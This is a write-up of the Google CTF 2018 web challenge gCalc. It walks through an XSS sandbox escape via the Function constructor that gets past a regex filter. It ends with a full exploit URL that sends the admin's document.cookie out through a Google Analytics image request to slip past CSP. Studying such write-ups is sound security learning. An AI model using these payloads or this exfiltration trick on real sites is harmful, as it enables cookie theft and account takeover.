Google CTF 2018 Quals Web Challenge - gCalc

gCalc is the web challenge in Google CTF 2018 quals and only 15 teams solved during 2 days’ competition!

This challenge is a very interesting challenge that give me lots of fun. I love the challenge that challenged your exploit skill instead of giving you lots of code to find a simple vulnerability or guessing without any hint. So that I want to write a writeup to note this :P

The challenge gave you a link https://gcalc2.web.ctfcompetition.com/. It just a calculator written in JavaScript and seems like a XSS challenge. There is a try it hyperlink in the bottom and pass your formula expression to admin!

At first glance I found there are 2 parameter we can control from query string - expr and vars. It looks like:

1
https://gcalc2.web.ctfcompetition.com/?expr=vars.pi*3&vars={"pi":3.14159,"ans":0}

You can define some variables in the context and use them in formula expression. But the variable only allowed Number type, and the Object type that created from null, that means there is no other methods and properties in the created Object. The prettified JavaScript code you can find out from my gist!

As you can see, the real vulnerability is very straightforward. Argument a is expr in query string and argument b is vars. The expr just do some sanitizers and pass to new Function(). The new Function() is like eval in JavaScript!

1
2
3
4
5
6
7
8
9
10
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a);
b = JSON.parse(b, function(a, b) {
if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b);
if ("number" === typeof b) return b
});
return (new Function("vars", "return " + a))(b)
}

The sanitizer of expr looks like flexible. We use regex101 to analyse the regular expression. The regular expression allowed some operands and operators in expression, and the variable name must starts-with vars. The first thought in my head is that we can use constructor.constructor(CODE)() to execute arbitrary JavaScript. Then the remaining part is how to create the CODE payload.

Quickly, I wrote the first version of exploit like:

1
2
3
4
5
6
7
8
9
10
11
12
// https://regex101.com/r/FLdJ7h/1
// alert(1) // Remove whitespaces by yourself
vars.pi.constructor.constructor(
vars.pi.toString().constructor.fromCharCode(97)+
vars.pi.toString().constructor.fromCharCode(108)+
vars.pi.toString().constructor.fromCharCode(101)+
vars.pi.toString().constructor.fromCharCode(114)+
vars.pi.toString().constructor.fromCharCode(116)+
vars.pi.toString().constructor.fromCharCode(40)+
vars.pi.toString().constructor.fromCharCode(49)+
vars.pi.toString().constructor.fromCharCode(41)
)()

I debug for an hour and got stuck by this exploit. I am curious about why this works in my console but fails to XSS. Finally, I find the root cause that there is a toLowerCase in the first line, so our toString and fromCharCode will fail… orz

1
2
3
4
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
...

After knowing this, I quickly wrote next version of exploit, retrieving the payload from key of vars map! In my payload, I use /1/.exec(1).keys(1).constructor to get the Obejct constructor and keys(vars).pop() to retrieve the last key in the vars map!

Here is the payload:

1
2
3
4
// https://regex101.com/r/IMXgwR/1
(1).constructor.constructor(
/1/.exec(1).keys(1).constructor.keys(vars).pop()
)()

And payload to pop an alert(1):

1
2
3
https://gcalc2.web.ctfcompetition.com/
?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()
&vars={"pi":3.14159,"ans":0,"alert(1)":0}

Does it finished? Not yet :(

Our goal is to steal cookies from admin, and we encountered CSP problem!

CSP of /

1
Content-Security-Policy: default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/

CSP of /static/calc.html

1
Content-Security-Policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com;

We can’t use redirection or load external resources to exfiltrate cookies. But I have noticed that img-src https://www.google-analytics.com in the CSP header and remembered long time ago, I read a HackerOne report that using Google Analytics for data exfiltration! You can embed your data in the parameter ea of Google Analytics to outside, and we can see results from Google Analytics console!

Here is the final exploit:

1
2
3
4
https://gcalc2.web.ctfcompetition.com/
?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()
&vars={"pi":3.14159,"ans":0, "x=document.createElement('img');x.src='https://www.google-analytics.com/collect
?v=1&tid=UA-00000000-1&cid=0000000000&t=event&ec=email&ea='+encodeURIComponent(document.cookie);document.querySelector('body').append(x)":0}

Oh yeah. The flag is CTF{1+1=alert}!